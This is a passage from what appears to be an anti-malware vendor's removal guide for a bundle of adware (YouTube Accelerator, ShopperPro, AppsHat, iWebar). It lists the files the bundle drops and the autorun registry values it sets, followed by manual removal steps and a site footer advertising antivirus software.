    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\379.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f5e47717b4f52bb2d30ad5ee8fa4d82d.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\688b124f17c554e4c624baca713c7e97.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f1c82a4331ed8d63f9a000d840ab8952.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7ec52323a609384f5d3c48cc41f0ec0c.js (651 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\74161456b2f46c981934ff35c66c3099.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\3063959d742aa33c841cc066dad8acfe.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a6548307898f1a60c87291942b199b13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e7e3629a6f6a4b422d47ceef451fe17a.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f0ee2df498bbad4bcf95811718d074ab.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\674e8fdf80d6e1a3ac3595b5f1f1c1a3.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (24 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a216d5417a8d32bea780cd4bbf3bd309.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eb4a5dec8c401882653eafc0487986a4.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\83dc3b3c053e06ebaee51b9d03ccc0d3.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\02f8639b310527606216e25bfbcee187.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b1d771f88c80213cd5cb9307be61de76.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\564140221e617db3564e2774eda53329.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04d8cd4e31d40be622fb3dee655fb5e1.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e9c1c926081dda407dc715e9a86d8ff4.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f78932a021c673a721c7645fe05e452c.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\3a5175fb41cf37d8e0c586b8f8332b45.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
    C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF84.tmp (118586 bytes)
    %Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll (11667 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\System.dll (23 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\MoreInfo.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\setup[1].exe (756052 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\appshat.exe (806712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\webplayer_installer.exe (8184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42C.tmp\inetc.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiA42B.tmp (10027 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2875\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_sense.exe (44306 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_yta.exe (33815 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_shopperpro.exe (18263 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_iwebar.exe (44096 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_7983\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\config[1].json (778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\64x64[1].ico (6495 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\16x16[1].ico (1150 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
    C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
    %Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
    %Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
    %Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
    C:\Windows\Temp\SBC4187.tmp (547 bytes)
    C:\Windows\Temp\SBC1009.tmp (44 bytes)
    %Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
    C:\Windows\Temp\SBC12F7.tmp (51193 bytes)
    C:\Windows\Temp\SBCC07.tmp (547 bytes)
    C:\Windows\Temp\SBCF0F.tmp (98 bytes)
    C:\Windows\Temp\SBCC50.tmp (44 bytes)
    C:\Windows\Temp\SBC4E0.tmp (98 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\IpConfig.dll (4254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\NSISEncrypt.dll (3314 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\WmiInspector.dll (3137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\UserInfo.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\nsJSON.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE975.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\qsjduyhw.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\Twhaovuu.exe (1221883 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\Rhppjlfu.tmp (351901 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\utmyveqj.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi23E5.tmp\wdsqflgk.dll (2102 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\pyejmpbax.dll (13 bytes)
    C:\Windows\Tasks\671594b7-fc54-4f9f-982b-96db5cfc3669-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\bqeciu.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\hmfgwj.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
    %Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669.xpi (2321 bytes)
    %Program Files% (x86)\iWebar\utils.exe (75605 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\utmyveqj.dll (30 bytes)
    %Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe (9147 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\qsjduyhw.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\207426 (3387 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\671594b7-fc54-4f9f-982b-96db5cfc3669-4.dll (38103 bytes)
    %Program Files% (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-5.exe (7385 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd280A.tmp (582266 bytes)
    %Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\edjertv.dll (3730 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\qwnqg.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\41290 (93063 bytes)
    C:\Windows\Tasks\671594b7-fc54-4f9f-982b-96db5cfc3669-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\nwlioa.dll (30112 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi282A.tmp\System.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB71F.tmp (35697 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\D1989.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\4D90EAE405E9E2FF (34773 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\wdsqflgk.dll (2102 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\Xnxius.exe (1219818 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\qsjduyhw.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\Otwlefi.tmp (353968 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy23A7.tmp\utmyveqj.dll (30 bytes)
    

    4. 

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
    "grooveload" = ""

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

    

    5. 

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    6. 

  6. Reboot the computer.
    7. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now